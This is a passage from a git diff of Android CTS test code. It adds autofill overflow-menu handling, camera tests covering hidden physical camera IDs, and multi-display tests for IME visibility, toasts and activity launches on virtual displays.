 
     private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -719,15 +720,38 @@
      * faster.
      *
      * @param id resource id of the field.
+     * @param expectOverflow whether overflow menu should be shown (when clipboard contains text)
      */
-    UiObject2 getAutofillMenuOption(String id) throws Exception {
+    UiObject2 getAutofillMenuOption(String id, boolean expectOverflow) throws Exception {
         final UiObject2 field = waitForObject(By.res(mPackageName, id));
         // TODO: figure out why obj.longClick() doesn't always work
         field.click(3000);
 
-        final List<UiObject2> menuItems = waitForObjects(
+        List<UiObject2> menuItems = waitForObjects(
                 By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
         final String expectedText = getAutofillContextualMenuTitle();
+
+        if (expectOverflow) {
+            // Check first menu does not have AUTOFILL
+            for (UiObject2 menuItem : menuItems) {
+                final String menuName = menuItem.getText();
+                if (menuName.equalsIgnoreCase(expectedText)) {
+                    throw new IllegalStateException(expectedText + " in context menu");
+                }
+            }
+
+            final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
+
+            // Click overflow menu button.
+            final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
+            overflowMenu.click();
+
+            // Wait for overflow menu to show.
+            mDevice.wait(Until.gone(overflowSelector), 1000);
+        }
+
+        menuItems = waitForObjects(
+                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
         final StringBuffer menuNames = new StringBuffer();
         for (UiObject2 menuItem : menuItems) {
             final String menuName = menuItem.getText();
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index a276c46..477f151 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -67,7 +67,7 @@
 
     private CameraManager mCameraManager;
     private List<CameraCharacteristics> mCharacteristics;
-    private String[] mIds;
+    private String[] mIds; // include both standalone camera IDs and "hidden" physical camera IDs
     private CameraErrorCollector mCollector;
 
     private static final Size FULLHD = new Size(1920, 1080);
@@ -120,15 +120,29 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        mIds = mCameraManager.getCameraIdList();
+        String[] ids = mCameraManager.getCameraIdList();
+        ArrayList<String> allIds = new ArrayList<String>();
         mCharacteristics = new ArrayList<>();
         mCollector = new CameraErrorCollector();
-        for (int i = 0; i < mIds.length; i++) {
-            CameraCharacteristics props = mCameraManager.getCameraCharacteristics(mIds[i]);
-            assertNotNull(String.format("Can't get camera characteristics from: ID %s", mIds[i]),
+        for (int i = 0; i < ids.length; i++) {
+            CameraCharacteristics props = mCameraManager.getCameraCharacteristics(ids[i]);
+            assertNotNull(String.format("Can't get camera characteristics from: ID %s", ids[i]),
                     props);
+            allIds.add(ids[i]);
             mCharacteristics.add(props);
+
+            for (String physicalId : props.getPhysicalCameraIds()) {
+                if (!Arrays.asList(ids).contains(physicalId) &&
+                        !allIds.contains(physicalId)) {
+                    allIds.add(physicalId);
+                    props = mCameraManager.getCameraCharacteristics(physicalId);
+                    mCharacteristics.add(props);
+                }
+            }
         }
+
+        mIds = new String[allIds.size()];
+        allIds.toArray(mIds);
     }
 
     @Override
@@ -1446,6 +1460,7 @@
     public void testLogicalCameraCharacteristics() throws Exception {
         int counter = 0;
         List<String> cameraIdList = Arrays.asList(mIds);
+        String[] publicIds = mCameraManager.getCameraIdList();
 
         for (CameraCharacteristics c : mCharacteristics) {
             int[] capabilities = CameraTestUtils.getValueNotNull(
@@ -1471,10 +1486,14 @@
                             String.format("Physical camera id %s shouldn't be the same as logical"
                                     + " camera id %s", physicalCameraId, mIds[counter]),
                             physicalCameraId != mIds[counter]);
-                    assertTrue(
-                            String.format("Physical camera id %s should be in available camera ids",
-                                    physicalCameraId),
-                            cameraIdList.contains(physicalCameraId));
+
+                    if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) {
+                        assertTrue(
+                                String.format(
+                                        "Physical camera id %s should be in available camera ids",
+                                        physicalCameraId),
+                                Arrays.asList(publicIds).contains(physicalCameraId));
+                    }
 
                     //validation for depth static metadata of physical cameras
                     CameraCharacteristics pc =
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
index 060cd5b..1169e64 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2AndroidTestCase.java
@@ -24,6 +24,7 @@
 import android.graphics.Rect;
 import android.hardware.camera2.CameraCaptureSession;
 import android.hardware.camera2.CameraCaptureSession.CaptureCallback;
+import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraManager;
 import android.hardware.camera2.CaptureRequest;
@@ -114,11 +115,24 @@
         mDebugFileNameBase = getContext().getExternalFilesDir(null).getPath();
 
         mAllStaticInfo = new HashMap<String, StaticMetadata>();
+        List<String> hiddenPhysicalIds = new ArrayList<>();
         for (String cameraId : mCameraIds) {
-            StaticMetadata staticMetadata = new StaticMetadata(
-                    mCameraManager.getCameraCharacteristics(cameraId),
+            CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
+            StaticMetadata staticMetadata = new StaticMetadata(props,
                     CheckLevel.ASSERT, /*collector*/null);
             mAllStaticInfo.put(cameraId, staticMetadata);
+
+            for (String physicalId : props.getPhysicalCameraIds()) {
+                if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+                        !hiddenPhysicalIds.contains(physicalId)) {
+                    hiddenPhysicalIds.add(physicalId);
+                    props = mCameraManager.getCameraCharacteristics(physicalId);
+                    staticMetadata = new StaticMetadata(
+                            mCameraManager.getCameraCharacteristics(physicalId),
+                            CheckLevel.ASSERT, /*collector*/null);
+                    mAllStaticInfo.put(physicalId, staticMetadata);
+                }
+            }
         }
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
index 3f3cfd3..8536317 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java
@@ -137,11 +137,24 @@
         mDebugFileNameBase = mContext.getExternalFilesDir(null).getPath();
 
         mAllStaticInfo = new HashMap<String, StaticMetadata>();
+        List<String> hiddenPhysicalIds = new ArrayList<>();
         for (String cameraId : mCameraIds) {
-            StaticMetadata staticMetadata = new StaticMetadata(
-                    mCameraManager.getCameraCharacteristics(cameraId),
+            CameraCharacteristics props = mCameraManager.getCameraCharacteristics(cameraId);
+            StaticMetadata staticMetadata = new StaticMetadata(props,
                     CheckLevel.ASSERT, /*collector*/null);
             mAllStaticInfo.put(cameraId, staticMetadata);
+
+            for (String physicalId : props.getPhysicalCameraIds()) {
+                if (!Arrays.asList(mCameraIds).contains(physicalId) &&
+                        !hiddenPhysicalIds.contains(physicalId)) {
+                    hiddenPhysicalIds.add(physicalId);
+                    props = mCameraManager.getCameraCharacteristics(physicalId);
+                    staticMetadata = new StaticMetadata(
+                            mCameraManager.getCameraCharacteristics(physicalId),
+                            CheckLevel.ASSERT, /*collector*/null);
+                    mAllStaticInfo.put(physicalId, staticMetadata);
+                }
+            }
         }
 
         mWindowManager = (WindowManager) mContext.getSystemService(Context.WINDOW_SERVICE);
diff --git a/tests/framework/base/activitymanager/Android.mk b/tests/framework/base/activitymanager/Android.mk
index 4d584fa..925b228 100644
--- a/tests/framework/base/activitymanager/Android.mk
+++ b/tests/framework/base/activitymanager/Android.mk
@@ -38,7 +38,12 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     android-support-test \
-    cts-amwm-util
+    cts-amwm-util \
+    CtsMockInputMethod
+
+# Merge resources & AndroidManifest.xml from MockIme cts package
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../../../inputmethod/res
+LOCAL_FULL_LIBS_MANIFEST_FILES := $(LOCAL_PATH)/../../../inputmethod/mockime/AndroidManifest_MockIme.xml
 
 LOCAL_CTS_TEST_PACKAGE := android.server
 
diff --git a/tests/framework/base/activitymanager/AndroidManifest.xml b/tests/framework/base/activitymanager/AndroidManifest.xml
index e341b45..7fdd68a 100644
--- a/tests/framework/base/activitymanager/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/AndroidManifest.xml
@@ -77,6 +77,8 @@
 
         <activity android:name="android.server.am.StartActivityTests$TestActivity2" />
 
+        <activity android:name="android.server.am.ActivityManagerMultiDisplayTests$EditTestActivity" />
+
     </application>
 
     <instrumentation
diff --git a/tests/framework/base/activitymanager/app/AndroidManifest.xml b/tests/framework/base/activitymanager/app/AndroidManifest.xml
index c977b37..8a41d54 100755
--- a/tests/framework/base/activitymanager/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/app/AndroidManifest.xml
@@ -378,6 +378,9 @@
                   android:showWhenLocked="true"
                   android:exported="true" />
 
+        <activity android:name=".ToastActivity"
+                  android:exported="true"/>
+
         <activity android:name=".TurnScreenOnAttrActivity"
                   android:turnScreenOn="true"
                   android:exported="true" />
@@ -408,6 +411,9 @@
         <activity android:name=".RecursiveActivity"
                   android:exported="true"/>
 
+        <activity android:name=".LaunchTestOnDestroyActivity"
+                  android:exported="true"/>
+
         <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
                  android:exported="true"
                  android:enabled="true"
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
index a2eef13..a7f42fa 100644
--- a/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/Components.java
@@ -98,6 +98,7 @@
     public static final ComponentName SPLASHSCREEN_ACTIVITY = component("SplashscreenActivity");
     public static final ComponentName SWIPE_REFRESH_ACTIVITY = component("SwipeRefreshActivity");
     public static final ComponentName TEST_ACTIVITY = component("TestActivity");
+    public static final ComponentName TOAST_ACTIVITY = component("ToastActivity");
     public static final ComponentName TOP_ACTIVITY = component("TopActivity");
     public static final ComponentName TEST_ACTIVITY_WITH_SAME_AFFINITY =
             component("TestActivityWithSameAffinity");
@@ -130,6 +131,8 @@
             component("VirtualDisplayActivity");
     public static final ComponentName VR_TEST_ACTIVITY = component("VrTestActivity");
     public static final ComponentName WALLPAPAER_ACTIVITY = component("WallpaperActivity");
+    public static final ComponentName LAUNCH_TEST_ON_DESTROY_ACTIVITY = component(
+            "LaunchTestOnDestroyActivity");
 
     public static final ComponentName ASSISTANT_VOICE_INTERACTION_SERVICE =
             component("AssistantVoiceInteractionService");
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/LaunchTestOnDestroyActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchTestOnDestroyActivity.java
new file mode 100644
index 0000000..8380a5d
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/LaunchTestOnDestroyActivity.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.server.am.Components.TEST_ACTIVITY;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class LaunchTestOnDestroyActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        Intent intent = new Intent();
+        intent.setComponent(TEST_ACTIVITY);
+        intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
+        startActivity(intent);
+    }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ToastActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ToastActivity.java
new file mode 100644
index 0000000..389c263
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ToastActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.Toast;
+
+public class ToastActivity extends Activity {
+    private static final String TEST_TOAST_TEXT = "test toast";
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        Toast.makeText(this, TEST_TOAST_TEXT, Toast.LENGTH_LONG).show();
+    }
+}
\ No newline at end of file
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index fc8823e..2d0bf38 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -48,6 +48,7 @@
 import static android.server.am.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
 import static android.server.am.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
 import static android.server.am.UiDeviceUtils.pressBackButton;
+import static android.server.am.VirtualDisplayHelper.waitForDefaultDisplayState;
 import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertFalse;
@@ -444,6 +445,9 @@
             logSeparator = separateLogs();
             launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
             mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
+            // Wait more for display state change since turning the display ON may take longer
+            // and reported after the activity launch.
+            waitForDefaultDisplayState(true /* wantOn */);
             assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
             assertSingleStart(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
         }
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 4c08dcf..5e82836 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -22,7 +22,6 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
-import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.am.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
@@ -37,10 +36,12 @@
 import static android.server.am.Components.LAUNCHING_ACTIVITY;
 import static android.server.am.Components.LAUNCH_BROADCAST_ACTION;
 import static android.server.am.Components.LAUNCH_BROADCAST_RECEIVER;
+import static android.server.am.Components.LAUNCH_TEST_ON_DESTROY_ACTIVITY;
 import static android.server.am.Components.NON_RESIZEABLE_ACTIVITY;
 import static android.server.am.Components.RESIZEABLE_ACTIVITY;
 import static android.server.am.Components.SHOW_WHEN_LOCKED_ATTR_ACTIVITY;
 import static android.server.am.Components.TEST_ACTIVITY;
+import static android.server.am.Components.TOAST_ACTIVITY;
 import static android.server.am.Components.VIRTUAL_DISPLAY_ACTIVITY;
 import static android.server.am.StateLogger.logAlways;
 import static android.server.am.StateLogger.logE;
@@ -53,19 +54,23 @@
 import static android.server.am.third.Components.THIRD_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertThat;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.Activity;
 import android.app.ActivityOptions;
 import android.content.ComponentName;
 import android.content.Intent;
+import android.content.res.Configuration;
+import android.graphics.Rect;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -73,18 +78,27 @@
 import android.server.am.ActivityManagerState.ActivityStack;
 import android.server.am.CommandSession.ActivitySession;
 import android.server.am.CommandSession.SizeInfo;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.FlakyTest;
 import android.util.SparseArray;
+import android.view.View;
+import android.view.WindowManager;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.EditText;
+import android.widget.LinearLayout;
 
 import androidx.annotation.Nullable;
 
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Before;
 import org.junit.Test;
 
-import java.util.concurrent.TimeUnit;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -109,11 +123,30 @@
     @FlakyTest(bugId = 77270929)
     public void testLaunchActivityOnSecondaryDisplay() throws Exception {
         validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_STANDARD);
-        // TODO(b/111363427) Enable the tests cases once we have properly handled non-standard
-        // type activities
-        //validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_HOME);
-        //validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_RECENTS);
-        //validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_ASSISTANT);
+    }
+
+    /**
+     * Tests launching a home activity on virtual display.
+     */
+    @Test
+    public void testLaunchHomeActivityOnSecondaryDisplay() throws Exception {
+        validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_HOME);
+    }
+
+    /**
+     * Tests launching a recent activity on virtual display.
+     */
+    @Test
+    public void testLaunchRecentActivityOnSecondaryDisplay() throws Exception {
+        validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_RECENTS);
+    }
+
+    /**
+     * Tests launching an assistant activity on virtual display.
+     */
+    @Test
+    public void testLaunchAssistantActivityOnSecondaryDisplay() throws Exception {
+        validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_ASSISTANT);
     }
 
     private void validateActivityLaunchOnNewDisplay(int activityType) throws Exception {
@@ -1136,6 +1169,32 @@
     }
 
     /**
+     * Test that newly launched activity will be landing on default display on display removal.
+     */
+    @Test
+    public void testActivityLaunchOnContentDestroyDisplayRemoved() throws Exception {
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+            // Create new private virtual display.
+            final ActivityDisplay newDisplay = virtualDisplaySession.createDisplay();
+            mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+            // Launch activities on new secondary display.
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> getLaunchActivityBuilder().setUseInstrumentation()
+                            .setTargetActivity(LAUNCH_TEST_ON_DESTROY_ACTIVITY).setNewTask(true)
+                            .setMultipleTask(true).setDisplayId(newDisplay.mId).execute());
+
+            waitAndAssertTopResumedActivity(LAUNCH_TEST_ON_DESTROY_ACTIVITY, newDisplay.mId,
+                    "Launched activity must be on top");
+
+            // Destroy the display
+        }
+
+        waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
+                "Newly launches activity should be landing on default display");
+    }
+
+    /**
      * Test that the update of display metrics updates all its content.
      */
     @Test
@@ -1757,7 +1816,6 @@
         }
     }
 
-
     /**
      * Tests tap and set focus between displays.
      * TODO(b/111361570): focus tracking between multi-display may change to check focus display.
@@ -1778,6 +1836,7 @@
             final int width = displayMetrics.getSize().getWidth();
             final int height = displayMetrics.getSize().getHeight();
             tapOnDisplay(width / 2, height / 2, DEFAULT_DISPLAY);
+
             waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
                     "Activity should be top resumed when tapped.");
             mAmWmState.assertFocusedActivity("Activity on default display must be focused.",
@@ -1786,12 +1845,80 @@
             tapOnDisplay(VirtualDisplayHelper.WIDTH / 2, VirtualDisplayHelper.HEIGHT / 2,
                     newDisplay.mId);
             waitAndAssertTopResumedActivity(VIRTUAL_DISPLAY_ACTIVITY, newDisplay.mId,
-                "Virtual display activity should be top resumed when tapped.");
+                    "Virtual display activity should be top resumed when tapped.");
             mAmWmState.assertFocusedActivity("Activity on second display must be focused.",
                     VIRTUAL_DISPLAY_ACTIVITY);
         }
     }
 
+    @Test
+    public void testImeWindowVisibilityForVirtualDisplay() throws Exception {
+        final long TIMEOUT_SOFT_INPUT = TimeUnit.SECONDS.toMillis(5);
+
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession();
+             final TestActivitySession<EditTestActivity> imeTestActivitySession = new
+                     TestActivitySession<>();
+             // Leverage MockImeSession to ensure at least a test Ime exists as default.
+             final MockImeSession mockImeSession = MockImeSession.create(
+                     mContext, InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                     new ImeSettings.Builder())) {
+            // Create virtual display & launch test activity.
+            final ActivityDisplay newDisplay =
+                    virtualDisplaySession.setPublicDisplay(true).createDisplay();
+            imeTestActivitySession.launchTestActivityOnDisplaySync(EditTestActivity.class,
+                    newDisplay.mId);
+            // Focus EditText to show soft input.
+            final EditText editText = imeTestActivitySession.getActivity().getEditText();
+            final ImeEventStream stream = mockImeSession.openEventStream();
+            imeTestActivitySession.runOnMainSyncAndWait(() -> {
+                editText.setFocusable(true);
+                editText.requestFocus();
+                showSoftInputForView(editText);
+            });
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+                    TIMEOUT_SOFT_INPUT);
+
+            // Ensure that the IME is visible & shown in virtual display.
+            testImeWindowVisibilityForVirtualDisplay(true /* visible */,
+                    newDisplay.mId /* displayId */);
+
+            // Check Ime window's display configuration if same as virtual display.
+            assertImeWindowAndDisplayConfiguration(getImeWindowState(), newDisplay);
+
+            // Tap on default display, assert Ime window will hide as expected.
+            final ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+            final int width = displayMetrics.getSize().getWidth();
+            final int height = displayMetrics.getSize().getHeight();
+            tapOnDisplay(width / 2, height / 2, DEFAULT_DISPLAY);
+
+            // Ensure that the IME is hidden in virtual display.
+            testImeWindowVisibilityForVirtualDisplay(false /* visible */,
+                    newDisplay.mId /* displayId */);
+        }
+    }
+
+    /**
+     * Tests that toast works on a secondary display.
+     */
+    @Test
+    public void testSecondaryDisplayShowToast() throws Exception {
+        try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()){
+            final ActivityDisplay newDisplay =
+                    virtualDisplaySession.setPublicDisplay(true).createDisplay();
+            final String TOAST_NAME = "Toast";
+            launchActivityOnDisplay(TOAST_ACTIVITY, newDisplay.mId);
+            waitAndAssertTopResumedActivity(TOAST_ACTIVITY, newDisplay.mId,
+                    "Activity launched on external display must be resumed");
+            mAmWmState.waitForWithWmState((state) -> state.containsWindow(TOAST_NAME),
+                    "Waiting for toast window to show");
+
+            assertTrue("Toast window must be shown",
+                    mAmWmState.getWmState().containsWindow(TOAST_NAME));
+            assertTrue("Toast window must be visible",
+                    mAmWmState.getWmState().isWindowVisible(TOAST_NAME));
+        }
+    }
+
     private class ExternalDisplaySession implements AutoCloseable {
 
         @Nullable
@@ -1863,4 +1990,59 @@
             VirtualDisplayHelper.waitForDefaultDisplayState(wantOn);
         }
     }
+
+    public static class EditTestActivity extends Activity {
+        private EditText mEditText;
+        @Override
+        protected void onCreate(Bundle icicle) {
+            super.onCreate(icicle);
+            final LinearLayout layout = new LinearLayout(this);
+            layout.setOrientation(LinearLayout.VERTICAL);
+            mEditText = new EditText(this);
+            layout.addView(mEditText);
+            getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_ADJUST_RESIZE);
+            setContentView(layout);
+        }
+
+        EditText getEditText() {
+            return mEditText;
+        }
+    }
+
+    void showSoftInputForView(View view) {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            mContext.getSystemService(InputMethodManager.class).showSoftInput(view, 0);
+        });
+    }
+
+    void testImeWindowVisibilityForVirtualDisplay(boolean visible, int displayId) {
+        final WindowManagerState.WindowState imeWinState =
+                mAmWmState.waitForWindowWithVisibility(this::getImeWindowState,
+                        "IME" /* winName */, visible);
+        if (imeWinState != null) {
+            assertEquals("IME window display", displayId, imeWinState.getDisplayId());
+            assertEquals("IME window visibility", visible, imeWinState.isShown());
+        } else {
+            assertFalse("IME window not exist", visible);
+        }
+    }
+
+    void assertImeWindowAndDisplayConfiguration(
+            WindowManagerState.WindowState imeWinState, ActivityDisplay display) {
+        final Configuration configurationForIme = imeWinState.mMergedOverrideConfiguration;
+        final Configuration configurationForDisplay =  display.mMergedOverrideConfiguration;
+        final int displayDensityDpiForIme = configurationForIme.densityDpi;
+        final int displayDensityDpi = configurationForDisplay.densityDpi;
+        final Rect displayBoundsForIme = configurationForIme.windowConfiguration.getBounds();
+        final Rect displayBounds = configurationForDisplay.windowConfiguration.getBounds();
+
+        assertEquals("Display density not the same", displayDensityDpi, displayDensityDpiForIme);
+        assertEquals("Display bounds not the same", displayBounds, displayBoundsForIme);
+    }
+
+    WindowManagerState.WindowState getImeWindowState() {
+        final WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState();
+        return wmState.getInputMethodWindowState();
+    }
 }
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
index caf7a92..31e723f 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -61,6 +61,7 @@
 import java.util.function.BiPredicate;
 import java.util.function.BooleanSupplier;
 import java.util.function.Predicate;
+import java.util.function.Supplier;
 import java.util.stream.Collectors;
 
 /**
@@ -214,6 +215,24 @@
         logE("***Waiting for debugger window failed");
     }
 
+    WindowState waitForWindowWithVisibility(Supplier<WindowState> supplier, String winName,
+            boolean visible) {
+        WindowState windowState = null;
+        for (int retry = 1; retry <= 5; retry++) {
+            windowState = supplier.get();
+            if (windowState != null) {
+                if (windowState.isShown() == visible)
+                    break;
+            } else {
+                if (!visible)
+                    break;
+            }
+            logAlways("***Waiting for valid " + winName + " Window... retry=" + retry);
+            SystemClock.sleep(1000);
+        }
+        return windowState;
+    }
+
     void waitForHomeActivityVisible() {
         ComponentName homeActivity = mAmState.getHomeActivityName();
         // Sometimes this function is called before we know what Home Activity is
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 79c4558..3c89472 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -286,6 +286,42 @@
         }
     }
 
+    /**
+     * Helper class to launch / close test activity by instrumentation way.
+     */
+    protected class TestActivitySession<T extends Activity> implements AutoCloseable {
+        private T mTestActivity;
+        void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                final Bundle bundle = ActivityOptions.makeBasic()
+                        .setLaunchDisplayId(displayId).toBundle();
+                mTestActivity = (T) InstrumentationRegistry.getInstrumentation()
+                        .startActivitySync(new Intent(mContext, activityClass)
+                                .addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
+                // Check activity is launched and resumed.
+                final ComponentName testActivityName = mTestActivity.getComponentName();
+                mAmWmState.waitForActivityState(testActivityName, STATE_RESUMED);
+                mAmWmState.assertResumedActivity("Activity must be resumed", testActivityName);
+            });
+        }
+
+        void runOnMainSyncAndWait(Runnable runnable) {
+            InstrumentationRegistry.getInstrumentation().runOnMainSync(runnable);
+            InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+        }
+
+        T getActivity() {
+            return mTestActivity;
+        }
+
+        @Override
+        public void close() throws Exception {
+            if (mTestActivity != null) {
+                mTestActivity.finishAndRemoveTask();
+            }
+        }
+    }
+
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getContext();
diff --git a/tests/inputmethod/mockime/AndroidManifest_MockIme.xml b/tests/inputmethod/mockime/AndroidManifest_MockIme.xml
new file mode 100644
index 0000000..4a1f319
